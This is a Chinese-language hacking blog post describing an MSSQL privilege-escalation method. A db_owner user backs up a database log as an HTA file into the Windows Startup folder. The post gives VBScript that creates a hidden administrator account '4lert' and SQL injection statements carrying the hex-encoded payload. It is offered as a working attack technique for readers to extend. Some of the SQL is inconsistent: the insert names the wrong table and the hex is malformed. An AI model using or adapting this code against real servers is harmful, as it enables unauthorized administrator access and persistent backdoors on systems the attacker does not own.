MSSQL备份HTA法

以前曾经流行过DB_OWNER权限备份BAT文件到系统启动项提权法。但是备份BAT文件的成功率一直不高。本质上是因为备份数据库时无论是日志备份还是差异备份都会有大量的其他数据写入到BAT文件中,偏偏BAT文件中命令长度是有限制的。所以备份的成功率很低。而我们却可以备份为HTA文件,HTA文件是HTML Application的缩写,翻译成中文就是HTML应用程序,我们可以用他写个HTA文件,再备份到启动项就可以了。


Code:


<SCRIPT LANGUAGE="VBScript">

set wsnetwork=CreateObject("WSCRIPT.NETWORK")

os="WinNT://"&wsnetwork.ComputerName

Set ob=GetObject(os)

Set oe=GetObject(os&"/Administrators,group")

Set od=ob.Create("user","4lert")

od.SetPassword "4lert"

od.SetInfo

Set of=GetObject(os&"/4lert",user)

oe.add os&"/4lert"

</Script>

<script language=javascript>window.close();</script>


最终我测试觉得用Wscript.NetWork组件是成功率最高的。前面的代码就是创建一个4lert用户,当然密码也是4lert。然后我们将此代码转换为十六进制,这里就给只给出LOG备份的代码。


Code:


alter database 数据库名 set RECOVERY FULL--

create table 4lert(cmd image)--

backup log数据库名to disk = 'c:\bak.bak' with init--

insert into cmd(a) values (0x13ADA3C534352495054204C414E47554147453D2256425363

72697074223EDA7365742077736E6574776F726B3D4372656174654F626

A6563742822575343524950542E4E4554574F524B222920DA6F733D2257696

E4E543A2F2F222677736E6574776F726B2E436F6D70757465724E616D6520DA536574

206F623D4765744F626A656374286F7329DA536574206F653D4765744F626A6563742

86F7326222F41646D696E6973747261746F72732C67726F75702229DA536574206F6

43D6F622E437265617465282275736572222C22346C6572742229DA6F642E536574

50617373776F72642022346C657274222020DA6F642E536574496E666FDA5365742

06F663D4765744F626A656374286F7326222F346C657274222C75736572292020DA

6F652E616464206F7326222F346C6572742220DA3C2F5363726970743EDA3C73637

2697074206C616E67756167653D6A6176617363726970743E77696E646F772E636C

6F736528293B3C2F7363726970743EDA)--

backup log数据库名to disk = 'c:\docume~1\alluse~1\「开始」菜单\程序\启动\shit.hta'--

drop table 4lert—


当然这种方法还是有局限性的,大家可以多多扩展。




文章来自: 本站原创
Tags:
评论: 0 | 查看次数: 7577